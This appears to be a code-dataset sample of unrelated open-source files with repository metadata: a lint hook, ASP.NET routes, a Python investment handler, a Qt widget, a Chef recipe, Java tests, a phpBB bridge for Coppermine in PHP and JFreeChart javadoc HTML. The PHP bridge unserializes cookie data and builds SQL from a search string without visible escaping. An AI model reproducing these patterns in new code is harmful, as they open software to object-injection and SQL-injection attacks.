'./node_modules/.bin/stylelint', [ ...toStylelint ], { shell: true, stdio: 'inherit', } ); if ( lintResult.status ) { linterFailure(); } } // then eslint if ( toEslint.length ) { const lintResult = spawnSync( './node_modules/.bin/eslint', [ '--quiet', ...toEslint ], { shell: true, stdio: 'inherit', } ); if ( lintResult.status ) { linterFailure(); } } // and finally PHPCS if ( toPHPCS.length ) { if ( phpcs ) { const lintResult = spawnSync( quotedPath( phpcsPath ), [ '--standard=apps/phpcs.xml', ...toPHPCS ], { shell: true, stdio: 'inherit', } ); if ( lintResult.status ) { linterFailure(); } } else { printPhpcsDocs(); } }
Automattic/wp-calypso
bin/pre-commit-hook.js
JavaScript
gpl-2.0
6,757
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using System.Web.Routing; namespace IkeMed.Metro.Web { public class RouteConfig { public static void RegisterRoutes(RouteCollection routes) { routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); #region Helpers routes.MapRoute( name: "Helpers", url: "helpers/{action}", defaults: new { controller = "Helpers" } ); #endregion Helpers #region Person routes.MapRoute( name: "Person", url: "cadastro/pessoa/{id}", defaults: new { controller = "Person", action = "Index", id = UrlParameter.Optional } ); routes.MapRoute( name: "Post_Person", url: "salvar/pessoa/{id}", defaults: new { controller = "Person", action = "Post" } ); #endregion Person routes.MapRoute( name: "Default", url: "{controller}/{action}/{id}", defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional } ); } } }
LeandroBarral/IkeMed
IkeMed.Metro/IkeMed.Metro.Web/App_Start/RouteConfig.cs
C#
gpl-2.0
1,396
__author__ = 'Marco Maio' import time class Handler(): def __init__(self, stocks_today=None, investments_by_name=None, investments_by_availability=None): # input data assessment if stocks_today is None: raise ValueError('Stocks_today container not specified!') elif investments_by_name is None: raise ValueError('Investments_by_name container not specified!') elif investments_by_availability is None: raise ValueError('Investments_by_availability container not specified!') self.__stocks_today = stocks_today self.__investments_by_name = investments_by_name self.__investments_by_availability = investments_by_availability def get_amount_by_stock_name(self, stock_name): if stock_name is None or len(stock_name) == 0: raise ValueError('Stock name not specified!') return self.__stocks_today[stock_name]["EUR"] *\ self.__stocks_today[stock_name]["Numbers of parts"] def get_amount_total_investment(self): tot = 0 for i in self.__stocks_today: tot += self.get_amount_by_stock_name(i) return tot def get_total_amount_by_date(self, date=None, stock_name="", closest_availability_only=False): if date is None or len(date) == 0: raise ValueError('Date not specified!') dates = [d for d in self.__investments_by_availability.keys() if len(d) > 0] eligible_dates =[] for d in dates: if time.strptime(date, "%d/%m/%Y") >= time.strptime(d, "%d/%m/%Y"): if not closest_availability_only or date.split('/')[2] == d.split('/')[2]: eligible_dates.append(d) if len(eligible_dates)== 0: raise ValueError('No fund available by the ' + date) tot = 0 stocks = set() for ed in eligible_dates: for k, v in self.__investments_by_availability[ed].items(): if stock_name in k: stocks.add(k) tot += self.__stocks_today[k]["EUR"] * v return tot, stocks def get_paid_by_stock_name(self, stock_name=None): if stock_name is None or len(stock_name) == 0: raise ValueError('Stock name not specified!') if stock_name not in self.__stocks_today: raise ValueError('Please provide a valid stock name!') tot = 0.0 for k, v in self.__investments_by_name[stock_name].items(): tot += v['Number of actions bought'] * v['Purchase value'] return tot def get_total_gain(self): tot_paid = 0.0 for stock_name in self.__investments_by_name: tot_paid += self.get_paid_by_stock_name(stock_name) tot = self.get_amount_total_investment() gain = tot - tot_paid percentage_gain = (tot/tot_paid - 1)*100 return gain, percentage_gain def get_gain_by_stock_name(self, stock_name): if stock_name is None or len(stock_name) == 0: raise ValueError('Stock name not specified!') if stock_name not in self.__stocks_today: raise ValueError('Please provide a valid stock name!') tot_paid = self.get_paid_by_stock_name(stock_name) tot = self.get_amount_by_stock_name(stock_name) gain = tot - tot_paid percentage_gain = (tot/tot_paid - 1)*100 return gain, percentage_gain def get_next_available_amount(self): dates = [d for d in self.__investments_by_availability.keys() if len(d) > 0] min_date = None min_date_str = "" for d in dates: current_date = time.strptime(d, "%d/%m/%Y") if min_date is None or min_date > current_date: min_date = current_date min_date_str = d return min_date_str, self.get_total_amount_by_date(min_date_str)
marcomaio/NatixisUnofficialAPI
natixis/handler.py
Python
gpl-2.0
4,027
#include "datepicker.h" DatePicker::DatePicker(QQuickItem *parent): QQuickItem(parent) { #if defined(Q_OS_ANDROID) nativeControls = AndroidNativeControls::getInstance(); #endif connect(nativeControls,SIGNAL(dateSelected(int,int,int)),SLOT(setDate(int,int,int))); } DatePicker::~DatePicker() { } QDate DatePicker::date() const { return m_date; } void DatePicker::showDatepicker() const { nativeControls->showDatepicker(m_date.year(), m_date.month(), m_date.day()); } void DatePicker::setDate(QDate newDate) { if (m_date == newDate) return; m_date = newDate; emit dateChanged(newDate); } void DatePicker::setDate(int year, int month, int day) { QDate newDate(year, month, day); if (m_date == newDate) return; m_date = newDate; emit dateChanged(newDate); }
ASGAlex/qt5-nativecontrols
controls/datepicker.cpp
C++
gpl-2.0
873
image = "elasticsearch" tag = "1.7.1" docker_image image do tag tag action :pull_if_missing end directory "/opt/elasticsearch/data" do recursive true owner "root" group "root" mode "0755" end docker_container "rsm-elasticsearch" do repo image tag tag restart_policy "always" binds [ "/opt/elasticsearch/data:/usr/share/elasticsearch/data" ] command "elasticsearch -Des.node.name=LogstashNode" end # sudo docker run --rm -it --name rsm-elasticsearch -v /opt/elasticsearch/data:/usr/share/elasticsearch/data elasticsearch:1.7.1 elasticsearch -Des.node.name=LogstashNode
ride-share-market/devops
app/kitchen/site-cookbooks/docker-relk/recipes/elasticsearch.rb
Ruby
gpl-2.0
615
/* * Copyright (C) 2010 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.exchange.provider; import com.android.emailcommon.mail.PackedString; import com.android.emailcommon.provider.Account; import com.android.exchange.provider.GalResult.GalData; import com.android.exchange.utility.ExchangeTestCase; import android.content.Context; import android.database.Cursor; import android.database.MatrixCursor; import android.net.Uri; import android.provider.ContactsContract.CommonDataKinds; import android.provider.ContactsContract.Contacts; import android.test.suitebuilder.annotation.SmallTest; /** * You can run this entire test case with: * runtest -c com.android.exchange.provider.ExchangeDirectoryProviderTests exchange */ @SmallTest public class ExchangeDirectoryProviderTests extends ExchangeTestCase { public ExchangeDirectoryProviderTests() { } // Create a test projection; we should only get back values for display name and email address private static final String[] GAL_RESULT_PROJECTION = new String[] {Contacts.DISPLAY_NAME, CommonDataKinds.Email.ADDRESS, Contacts.CONTENT_TYPE, Contacts.LOOKUP_KEY}; private static final int GAL_RESULT_COLUMN_DISPLAY_NAME = 0; private static final int GAL_RESULT_COLUMN_EMAIL_ADDRESS = 1; private static final int GAL_RESULT_COLUMN_CONTENT_TYPE = 2; private static final int GAL_RESULT_COLUMN_LOOKUP_KEY = 3; public void testBuildSimpleGalResultCursor() { GalResult result = new GalResult(); result.addGalData(1, "Alice Aardvark", "alice@aardvark.com"); result.addGalData(2, "Bob Badger", "bob@badger.com"); result.addGalData(3, "Clark Cougar", "clark@cougar.com"); result.addGalData(4, "Dan Dolphin", "dan@dolphin.com"); // Make sure our returned cursor has the expected contents ExchangeDirectoryProvider provider = new ExchangeDirectoryProvider(); Cursor c = provider.buildGalResultCursor(GAL_RESULT_PROJECTION, result); assertNotNull(c); assertEquals(MatrixCursor.class, c.getClass()); assertEquals(4, c.getCount()); for (int i = 0; i < 4; i++) { GalData data = result.galData.get(i); assertTrue(c.moveToNext()); assertEquals(data.displayName, c.getString(GAL_RESULT_COLUMN_DISPLAY_NAME)); assertEquals(data.emailAddress, c.getString(GAL_RESULT_COLUMN_EMAIL_ADDRESS)); assertNull(c.getString(GAL_RESULT_COLUMN_CONTENT_TYPE)); } } private static final String[][] DISPLAY_NAME_TEST_FIELDS = { {"Alice", "Aardvark", "Another Name"}, {"Alice", "Aardvark", null}, {"Alice", null, null}, {null, "Aardvark", null}, {null, null, null} }; private static final int TEST_FIELD_FIRST_NAME = 0; private static final int TEST_FIELD_LAST_NAME = 1; private static final int TEST_FIELD_DISPLAY_NAME = 2; private static final String[] EXPECTED_DISPLAY_NAMES = new String[] {"Another Name", "Alice Aardvark", "Alice", "Aardvark", null}; private GalResult getTestDisplayNameResult() { GalResult result = new GalResult(); for (int i = 0; i < DISPLAY_NAME_TEST_FIELDS.length; i++) { GalData galData = new GalData(); String[] names = DISPLAY_NAME_TEST_FIELDS[i]; galData.put(GalData.FIRST_NAME, names[TEST_FIELD_FIRST_NAME]); galData.put(GalData.LAST_NAME, names[TEST_FIELD_LAST_NAME]); galData.put(GalData.DISPLAY_NAME, names[TEST_FIELD_DISPLAY_NAME]); result.addGalData(galData); } return result; } public void testDisplayNameLogic() { GalResult result = getTestDisplayNameResult(); // Make sure our returned cursor has the expected contents ExchangeDirectoryProvider provider = new ExchangeDirectoryProvider(); Cursor c = provider.buildGalResultCursor(GAL_RESULT_PROJECTION, result); assertNotNull(c); assertEquals(MatrixCursor.class, c.getClass()); assertEquals(DISPLAY_NAME_TEST_FIELDS.length, c.getCount()); for (int i = 0; i < EXPECTED_DISPLAY_NAMES.length; i++) { assertTrue(c.moveToNext()); assertEquals(EXPECTED_DISPLAY_NAMES[i], c.getString(GAL_RESULT_COLUMN_DISPLAY_NAME)); } } public void testLookupKeyLogic() { GalResult result = getTestDisplayNameResult(); // Make sure our returned cursor has the expected contents ExchangeDirectoryProvider provider = new ExchangeDirectoryProvider(); Cursor c = provider.buildGalResultCursor(GAL_RESULT_PROJECTION, result); assertNotNull(c); assertEquals(MatrixCursor.class, c.getClass()); assertEquals(DISPLAY_NAME_TEST_FIELDS.length, c.getCount()); for (int i = 0; i < EXPECTED_DISPLAY_NAMES.length; i++) { assertTrue(c.moveToNext()); PackedString ps = new PackedString(Uri.decode(c.getString(GAL_RESULT_COLUMN_LOOKUP_KEY))); String[] testFields = DISPLAY_NAME_TEST_FIELDS[i]; assertEquals(testFields[TEST_FIELD_FIRST_NAME], ps.get(GalData.FIRST_NAME)); assertEquals(testFields[TEST_FIELD_LAST_NAME], ps.get(GalData.LAST_NAME)); assertEquals(EXPECTED_DISPLAY_NAMES[i], ps.get(GalData.DISPLAY_NAME)); } } public void testGetAccountIdByName() { Context context = getContext(); //getMockContext(); ExchangeDirectoryProvider provider = new ExchangeDirectoryProvider(); // Nothing up my sleeve assertNull(provider.sAccountIdMap.get("foo@android.com")); assertNull(provider.sAccountIdMap.get("bar@android.com")); // Create accounts; the email addresses will be the first argument + "@android.com" Account acctFoo = setupTestAccount("foo", true); Account acctBar = setupTestAccount("bar", true); // Make sure we can retrieve them, and that the map is populated assertEquals(acctFoo.mId, provider.getAccountIdByName(context, "foo@android.com")); assertEquals(acctBar.mId, provider.getAccountIdByName(context, "bar@android.com")); assertEquals((Long)acctFoo.mId, provider.sAccountIdMap.get("foo@android.com")); assertEquals((Long)acctBar.mId, provider.sAccountIdMap.get("bar@android.com")); } }
rex-xxx/mt6572_x201
packages/apps/Exchange/exchange2/tests/src/com/android/exchange/provider/ExchangeDirectoryProviderTests.java
Java
gpl-2.0
6,940
using System; using System.Text; using Newtonsoft.Json; namespace Helpful.CircuitBreaker.Events.AzureQueue { internal static class StorableEventExtensions { public static byte[] AsJsonBytes(this StorableEvent sEvent) { if (sEvent == null) throw new ArgumentNullException("sEvent"); var json = JsonConvert.SerializeObject(sEvent); var bytes = Encoding.UTF8.GetBytes(json); return bytes; } public static string AsJson(this StorableEvent sEvent) { if (sEvent == null) throw new ArgumentNullException("sEvent"); var json = JsonConvert.SerializeObject(sEvent); return json; } } }
RokitSalad/Helpful.CircuitBreaker.Events.AzureQueue
Helpful.CircuitBreaker.Events.AzureQueue/ObjectExtensions.cs
C#
gpl-2.0
725
<?php /************************* Coppermine Photo Gallery ************************ Copyright (c) 2003-2006 Coppermine Dev Team v1.1 originally written by Gregory DEMAR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. ******************************************** Coppermine version: 1.4.4 $Source: /cvsroot/coppermine/stable/bridge/phpbb.inc.php,v $ $Revision: 1.20 $ $Author: nibbler999 $ $Date: 2006/02/18 17:31:52 $ **********************************************/ if (!defined('IN_COPPERMINE')) die('Not in Coppermine...'); // Switch that allows overriding the bridge manager with hard-coded values define('USE_BRIDGEMGR', 1); require_once 'bridge/udb_base.inc.php'; class phpbb_udb extends core_udb { function phpbb_udb() { global $BRIDGE; if (!USE_BRIDGEMGR) { $this->boardurl = 'http://www.yousite.com/phpBB2'; require_once('../phpBB2/config.php'); } else { $this->boardurl = $BRIDGE['full_forum_url']; require_once($BRIDGE['relative_path_to_config_file'] . 'config.php'); $this->use_post_based_groups = $BRIDGE['use_post_based_groups']; } $this->multigroups = 1; // Database connection settings $this->db = array( 'name' => $dbname, 'host' => $dbhost ? $dbhost : 'localhost', 'user' => $dbuser, 'password' => $dbpasswd, 'prefix' =>$table_prefix ); // Board table names $this->table = array( 'users' => 'users', 'groups' => 'groups', 'sessions' => 'sessions', 'usergroups' => 'user_group' ); // Derived full table names $this->usertable = '`' . $this->db['name'] . '`.' . $this->db['prefix'] . $this->table['users']; $this->groupstable = '`' . $this->db['name'] . '`.' . $this->db['prefix'] . $this->table['groups']; $this->sessionstable = '`' . $this->db['name'] . '`.' . $this->db['prefix'] . $this->table['sessions']; $this->usergroupstable = '`' . $this->db['name'] . '`.' . $this->db['prefix'] . $this->table['usergroups']; // Table field names $this->field = array( 'username' => 'username', // name of 'username' field in users table 'user_id' => 'user_id', // name of 'id' field in users table 'password' => 'user_password', // name of 'password' field in users table 'email' => 'user_email', // name of 'email' field in users table 'regdate' => 'user_regdate', // name of 'registered' field in users table 'active' => 'user_active', // is user account active? 'lastvisit' => 'user_lastvisit', // name of 'location' field in users table 'location' => 'user_from', // name of 'location' field in users table 'website' => 'user_website', // name of 'website' field in users table 'usertbl_group_id' => 'group_id', // name of 'group id' field in users table 'grouptbl_group_id' => 'group_id', // name of 'group id' field in groups table 'grouptbl_group_name' => 'group_name' // name of 'group name' field in groups table ); // Pages to redirect to $this->page = array( 'register' => '/profile.php?mode=register', 'editusers' => '/memberlist.php', 'edituserprofile' => "/memberlist.php?mode=viewprofile&u=", ); // Group ids - admin and guest only. $this->admingroups = array(2); $this->guestgroup = $this->use_post_based_groups ? 3 : 3; // Use a special function to collect groups for cpg groups table $this->group_overrride = 1; // Cookie settings - used in following functions only $this->cookie_name = $BRIDGE['cookie_prefix']; // Connect to db $this->connect(); } function collect_groups() { $sql ="SELECT * FROM {$this->groupstable} WHERE group_single_user = 0"; $result = cpg_db_query($sql, $this->link_id); $udb_groups = array(102 =>'Administrators', 2=> 'Registered', 3=>'Guests', 4=> 'Banned'); while ($row = mysql_fetch_assoc($result)) { $udb_groups[$row[$this->field['grouptbl_group_id']]+100] = utf_ucfirst(utf_strtolower($row[$this->field['grouptbl_group_name']])); } return $udb_groups; } // definition of how to extract id, name, group from a session cookie function session_extraction() { if (isset($_COOKIE[$this->cookie_name . '_sid'])) { $session_id = addslashes($_COOKIE[$this->cookie_name . '_sid']); $sql = "SELECT u.{$this->field['user_id']} AS user_id, u.{$this->field['password']} AS password, u.user_level FROM {$this->usertable} AS u, {$this->sessionstable} AS s WHERE u.{$this->field['user_id']}=s.session_user_id AND s.session_id = '$session_id' AND u.user_id > 0"; $result = cpg_db_query($sql, $this->link_id); if (mysql_num_rows($result)){ $row = mysql_fetch_array($result); $this->userlevel = $row['user_level']; return $row; } else { return false; } } } // Get groups of which user is member function get_groups($row) { $data = array(); if ($this->use_post_based_groups){ $sql = "SELECT ug.{$this->field['usertbl_group_id']}+100 AS group_id FROM {$this->usertable} AS u, {$this->usergroupstable} AS ug, {$this->groupstable} as g WHERE u.{$this->field['user_id']}=ug.{$this->field['user_id']} AND u.{$this->field['user_id']}='{$row['id']}' AND g.{$this->field['grouptbl_group_id']} = ug.{$this->field['grouptbl_group_id']}"; $result = cpg_db_query($sql, $this->link_id); while ($row2 = mysql_fetch_array($result)) { $data[] = $row2['group_id']; } if ($this->userlevel == 1 || in_array($row[$this->field['usertbl_group_id']] , $this->admingroups)) array_unshift($data, 102); if ($this->userlevel == 0) array_unshift($data, 2); } else { $data[0] = ($this->userlevel == 1 || in_array($row[$this->field['usertbl_group_id']] , $this->admingroups)) ? 1 : 2; } return $data; } // definition of how to extract an id and password hash from a cookie function cookie_extraction() { $id = 0; $pass = ''; if (isset($_COOKIE[$this->cookie_name.'_data'])){ $sessiondata = unserialize($_COOKIE[$this->cookie_name.'_data']); $id = $sessiondata['userid'] > 1 ? intval($sessiondata['userid']) : 0; $pass = (isset($sessiondata['autologinid'])) ? addslashes($sessiondata['autologinid']) : ''; } return ($id) ? array($id, $pass) : false; } // definition of actions required to convert a password from user database form to cookie form function udb_hash_db($password) { return $password; // unused } function login_page() { global $CONFIG; $cpg = parse_url($CONFIG['site_url']); $bb = parse_url($this->boardurl); $levels = count(explode('/', $bb['path'])) - 1; $redirect = str_repeat('../', $levels) . trim($cpg['path'], '/') . '/'; $this->redirect("/login.php?redirect=$redirect"); } function logout_page() { global $CONFIG; $cpg = parse_url($CONFIG['site_url']); $bb = parse_url($this->boardurl); $levels = count(explode('/', $bb['path'])) - 1; $redirect = str_repeat('../', $levels) . trim($cpg['path'], '/') . '/'; $this->redirect("/login.php?logout=true&sid={$this->sid}&redirect=$redirect"); } function view_users() {} function view_profile() {} function get_users($options = array()) { global $CONFIG; // Copy UDB fields and config variables (just to make it easier to read) $f =& $this->field; $C =& $CONFIG; // Sort codes - global this in usermgr.php in 1.5 $sort_codes = array('name_a' => 'user_name ASC', 'name_d' => 'user_name DESC', 'group_a' => 'group_name ASC', 'group_d' => 'group_name DESC', 'reg_a' => 'user_regdate ASC', 'reg_d' => 'user_regdate DESC', 'pic_a' => 'pic_count ASC', 'pic_d' => 'pic_count DESC', 'disku_a' => 'disk_usage ASC', 'disku_d' => 'disk_usage DESC', 'lv_a' => 'user_lastvisit ASC', 'lv_d' => 'user_lastvisit DESC', ); $sql = "SELECT group_id, group_name, group_quota FROM {$C['TABLE_USERGROUPS']}"; $result = cpg_db_query($sql); $groups = $quotas = array(); while ($row = mysql_fetch_assoc($result)) { $groups[$row['group_id']] = $row['group_name']; $quotas[$row['group_id']] = $row['group_quota']; } if (in_array($options['sort'], array('group_a', 'group_d', 'pic_a', 'pic_d', 'disku_a', 'disku_d'))){ $sort = ''; list($this->sortfield, $this->sortdir) = explode(' ', $sort_codes[$options['sort']]); $this->adv_sort = true; } else { $sort = "ORDER BY " . $sort_codes[$options['sort']]; $this->adv_sort = false; } // Build WHERE clause, if this is a username search if ($options['search']) { $options['search'] = 'AND u.'.$f['username'].' LIKE "'.$options['search'].'" '; } // Main array to hold our user data $userlist = array(); // These sorting methods need the cpg pics table, do that first if (in_array($options['sort'], array('pic_a', 'pic_d', 'disku_a', 'disku_d'))){ $sql = "SELECT owner_id, COUNT(pid) as pic_count, ROUND(SUM(total_filesize)/1024) as disk_usage FROM {$C['TABLE_PICTURES']} WHERE owner_id <> 0 GROUP BY owner_id ORDER BY {$sort_codes[$options['sort']]} LIMIT {$options['lower_limit']}, {$options['users_per_page']}"; $result = cpg_db_query($sql); // If no records, return empty value if (!mysql_num_rows($result)) { return array(); } while ($row = mysql_fetch_assoc($result)) $userlist[$row['owner_id']] = $row; mysql_free_result($result); $user_list_string = implode(', ', array_keys($userlist)); $sql = "SELECT u.{$f['user_id']} as user_id, u.user_level, {$f['username']} as user_name, {$f['email']} as user_email, {$f['regdate']} as user_regdate, {$f['lastvisit']} as user_lastvisit ". "FROM {$this->usertable} AS u ". "WHERE u.{$f['user_id']} IN ($user_list_string) GROUP BY u.{$f['user_id']}"; $result = cpg_db_query($sql, $this->link_id); // If no records, return empty value if (!mysql_num_rows($result)) { return array(); } while ($row = mysql_fetch_assoc($result)) $userlist[$row['user_id']] = array_merge($userlist[$row['user_id']], $row); mysql_free_result($result); } else { $sql = "SELECT u.{$f['user_id']} as user_id, u.user_level, {$f['username']} as user_name, {$f['email']} as user_email, {$f['regdate']} as user_regdate, {$f['lastvisit']} as user_lastvisit, 0 as pic_count ". "FROM {$this->usertable} AS u ". "WHERE u.{$f['user_id']} > 0 " . $options['search']. "GROUP BY u.{$f['user_id']} " . $sort . " LIMIT {$options['lower_limit']}, {$options['users_per_page']}"; $result = cpg_db_query($sql, $this->link_id); // If no records, return empty value if (!mysql_num_rows($result)) { return array(); } while ($row = mysql_fetch_assoc($result)) $userlist[$row['user_id']] = $row; mysql_free_result($result); $user_list_string = implode(', ', array_keys($userlist)); $sql = "SELECT owner_id, COUNT(pid) as pic_count, ROUND(SUM(total_filesize)/1024) as disk_usage FROM {$C['TABLE_PICTURES']} WHERE owner_id IN ($user_list_string) GROUP BY owner_id"; $result = cpg_db_query($sql); while ($owner = mysql_fetch_assoc($result)) $userlist[$owner['owner_id']] = array_merge($userlist[$owner['owner_id']], $owner); } foreach ($userlist as $uid => $user){ $grps = array(); if ($this->use_post_based_groups){ $sql = "SELECT ug.{$this->field['usertbl_group_id']}+100 AS group_id FROM {$this->usertable} AS u, {$this->usergroupstable} AS ug, {$this->groupstable} as g WHERE u.{$this->field['user_id']}=ug.{$this->field['user_id']} AND u.{$this->field['user_id']}='$uid' AND g.{$this->field['grouptbl_group_id']} = ug.{$this->field['grouptbl_group_id']} AND group_single_user = 0"; $result = cpg_db_query($sql, $this->link_id); while ($row2 = mysql_fetch_array($result)) { $grps[] = $row2['group_id']; } if ($user['user_level'] == 1 || in_array($row[$this->field['usertbl_group_id']] , $this->admingroups)) array_unshift($grps, 102); if ($user['user_level'] == 0 || $user['user_level'] == 2) array_unshift($grps, 2); } else { $grps[0] = ($user['user_level'] == 1 || in_array($row[$this->field['usertbl_group_id']] , $this->admingroups)) ? 1 : 2; } $groupnames = $q = array(); foreach ($grps as $gid){ $groupnames[] = $groups[$gid]; $q[] = $quotas[$gid]; } sort($groupnames); $userlist[$uid]['group_name'] = implode('<br />' ,$groupnames); $userlist[$uid]['group_quota'] = max($q); } foreach ($userlist as $uid => $user) if (!isset($user['user_name'])) unset($userlist[$uid]); if ($this->adv_sort) usort($userlist, array('core_udb', 'adv_sort')); return $userlist; } } // and go ! $cpg_udb = new phpbb_udb; ?>
xitongzou/divinerequiem
phpbb.inc.php
PHP
gpl-2.0
13,226
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0-ea) on Thu Sep 26 11:52:58 CDT 2013 --> <title>Uses of Interface org.jfree.data.function.Function2D (JFreeChart Class Library (version 1.0.16))</title> <meta name="date" content="2013-09-26"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Interface org.jfree.data.function.Function2D (JFreeChart Class Library (version 1.0.16))"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/jfree/data/function/class-use/Function2D.html" target="_top">Frames</a></li> <li><a href="Function2D.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Interface org.jfree.data.function.Function2D" class="title">Uses of Interface<br>org.jfree.data.function.Function2D</h2> </div> <div class="classUseContainer"> <ul class="blockList"> <li class="blockList"> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation"> <caption><span>Packages that use <a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="#org.jfree.data.function">org.jfree.data.function</a></td> <td class="colLast"> <div class="block">Representation for simple functions.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#org.jfree.data.general">org.jfree.data.general</a></td> <td class="colLast"> <div class="block">Data interfaces and classes.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="org.jfree.data.function"> <!-- --> </a> <h3>Uses of <a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a> in <a href="../../../../../org/jfree/data/function/package-summary.html">org.jfree.data.function</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing classes, and an explanation"> <caption><span>Classes in <a href="../../../../../org/jfree/data/function/package-summary.html">org.jfree.data.function</a> that implement <a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Class and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../org/jfree/data/function/LineFunction2D.html" title="class in org.jfree.data.function">LineFunction2D</a></strong></code> <div class="block">A function in the form y = a + bx.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../org/jfree/data/function/NormalDistributionFunction2D.html" title="class in org.jfree.data.function">NormalDistributionFunction2D</a></strong></code> <div class="block">A normal distribution function.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../org/jfree/data/function/PolynomialFunction2D.html" title="class in org.jfree.data.function">PolynomialFunction2D</a></strong></code> <div class="block">A function in the form <code>y = a0 + a1 * x + a2 * x^2 + ...</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../org/jfree/data/function/PowerFunction2D.html" title="class in org.jfree.data.function">PowerFunction2D</a></strong></code> <div class="block">A function of the form y = a * x ^ b.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="org.jfree.data.general"> <!-- --> </a> <h3>Uses of <a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a> in <a href="../../../../../org/jfree/data/general/package-summary.html">org.jfree.data.general</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../org/jfree/data/general/package-summary.html">org.jfree.data.general</a> with parameters of type <a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../org/jfree/data/xy/XYDataset.html" title="interface in org.jfree.data.xy">XYDataset</a></code></td> <td class="colLast"><span class="strong">DatasetUtilities.</span><code><strong><a href="../../../../../org/jfree/data/general/DatasetUtilities.html#sampleFunction2D(org.jfree.data.function.Function2D, double, double, int, java.lang.Comparable)">sampleFunction2D</a></strong>(<a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a>&nbsp;f, double&nbsp;start, double&nbsp;end, int&nbsp;samples, java.lang.Comparable&nbsp;seriesKey)</code> <div class="block">Creates an <a href="../../../../../org/jfree/data/xy/XYDataset.html" title="interface in org.jfree.data.xy"><code>XYDataset</code></a> by sampling the specified function over a fixed range.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../org/jfree/data/xy/XYSeries.html" title="class in org.jfree.data.xy">XYSeries</a></code></td> <td class="colLast"><span class="strong">DatasetUtilities.</span><code><strong><a href="../../../../../org/jfree/data/general/DatasetUtilities.html#sampleFunction2DToSeries(org.jfree.data.function.Function2D, double, double, int, java.lang.Comparable)">sampleFunction2DToSeries</a></strong>(<a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Function2D</a>&nbsp;f, double&nbsp;start, double&nbsp;end, int&nbsp;samples, java.lang.Comparable&nbsp;seriesKey)</code> <div class="block">Creates an <a href="../../../../../org/jfree/data/xy/XYSeries.html" title="class in org.jfree.data.xy"><code>XYSeries</code></a> by sampling 